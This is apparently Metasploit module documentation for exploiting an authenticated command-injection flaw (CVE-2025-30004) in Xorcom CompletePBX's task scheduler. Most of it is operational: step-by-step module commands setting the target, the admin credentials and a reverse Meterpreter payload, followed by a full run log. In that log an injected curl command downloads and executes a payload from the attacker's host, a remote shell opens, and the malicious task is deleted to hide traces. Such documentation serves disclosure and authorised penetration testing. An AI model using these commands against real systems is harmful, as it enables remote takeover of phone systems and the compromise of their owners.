2025-06-22 09:07:20 +02:00
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## Vulnerable Application
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This Metasploit module exploits an **Authenticated Command Injection** vulnerability in **Xorcom CompletePBX <= 5.2.35**.
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The issue resides in the task scheduler functionality, where user-controlled input is improperly sanitized, allowing
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arbitrary command execution with web server privileges.
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Only the **superadmin** user (`admin`) has the necessary permissions to trigger this exploit.
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Even when creating a new user with maximum privileges, the vulnerability does not work.
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The vulnerability is identified as **CVE-2025-30004**.
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### Setup
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Download the ova file here: [](https://archive.org/details/completepbx-5-2-27-vuln)
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## Verification Steps
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1. Deploy a vulnerable instance of **Xorcom CompletePBX <= 5.2.35**.
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2. Launch **Metasploit Framework**.
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3. Use the module:
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```
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use exploit/linux/http/xorcom_completepbx_scheduler_rce
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```
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4. Set the **target host**:
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```
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set RHOSTS [TARGET_IP]
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```
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5. Set authentication credentials:
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```
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set USERNAME [VALID_ADMIN_USERNAME]
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set PASSWORD [VALID_ADMIN_PASSWORD]
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```
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6. Configure the payload:
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```
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set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
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set LHOST [ATTACKER_IP]
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set LPORT [LISTENER_PORT]
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```
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7. Execute the module:
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```
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run
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```
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8. If successful, a **Meterpreter session** will be opened on the target.
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## Options
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2025-07-16 21:18:26 +02:00
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### USERNAME
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Admin username for authentication.
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### PASSWORD
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Admin password for authentication.
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2025-06-22 09:07:20 +02:00
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## Scenarios
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### Successful Exploitation Against a Vulnerable CompletePBX Instance
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**Setup**:
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- **Target**: Xorcom CompletePBX <= 5.2.35
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- **Attacker**: Metasploit Framework instance
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**Steps**:
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```bash
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2025-07-16 21:18:26 +02:00
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msf6 exploit(linux/http/xorcom_completepbx_scheduler) > run http://192.168.1.32/
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[*] Command to run on remote host: curl -so ./HEuUpqtYDav http://192.168.1.36:8080/LoPlnjEpeOexZNVppn6cAA;chmod +x ./HEuUpqtYDav;./HEuUpqtYDav&
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[*] Fetch handler listening on 192.168.1.36:8080
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[*] HTTP server started
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[*] Adding resource /LoPlnjEpeOexZNVppn6cAA
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[*] Started reverse TCP handler on 192.168.1.36:4444
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2025-06-22 09:07:20 +02:00
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[*] Running automatic check ("set AutoCheck false" to disable)
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[*] Checking if the target is running CompletePBX...
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2025-07-16 21:18:26 +02:00
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[+] Detected CompletePBX on 192.168.1.32:80
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2025-06-22 09:07:20 +02:00
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[+] The target appears to be vulnerable.
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[*] Attempting authentication with username: admin
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2025-07-16 21:18:26 +02:00
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[+] Authentication successful! Session ID: sid=697e43b483efc1ac316461cde1fbb5d470abc3b4
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[*] Creating malicious scheduled task with description: Possimus quibusdam assumenda minima.
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2025-06-22 09:07:20 +02:00
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[+] Malicious task successfully created.
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2025-07-16 21:18:26 +02:00
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[*] Retrieving latest task ID for description: Possimus quibusdam assumenda minima....
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[+] Found task with ID: 18
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[*] Executing malicious task ID 18...
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[*] Client 192.168.1.32 requested /LoPlnjEpeOexZNVppn6cAA
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[*] Sending payload to 192.168.1.32 (curl/7.88.1)
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[*] Transmitting intermediate stager...(126 bytes)
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[*] Sending stage (3045380 bytes) to 192.168.1.32
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2025-06-22 09:07:20 +02:00
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[+] Task executed successfully!
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2025-07-16 21:18:26 +02:00
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[*] Sending delete request (mode=delete) for task ID 18...
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[*] Sending delete request (mode=deleteConfirmed) for task ID 18...
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[+] Task 18 deleted successfully!
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[*] Meterpreter session 6 opened (192.168.1.36:4444 -> 192.168.1.32:40800) at 2025-07-16 21:11:31 +0200
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meterpreter > sysinfo
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2025-06-22 09:07:20 +02:00
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Computer : localhost.localdomain
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OS : Debian 12.5 (Linux 6.1.0-20-amd64)
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Architecture : x64
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BuildTuple : x86_64-linux-musl
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Meterpreter : x64/linux
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```
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### Impact
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- This vulnerability grants **remote code execution** capabilities.
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- Attackers can execute arbitrary commands as the **web server user**, potentially leading to full system compromise.
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- Exploitation provides a **Meterpreter session** for post-exploitation activities.
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This module is designed to **demonstrate and automate** the exploitation of this issue using the Metasploit framework.
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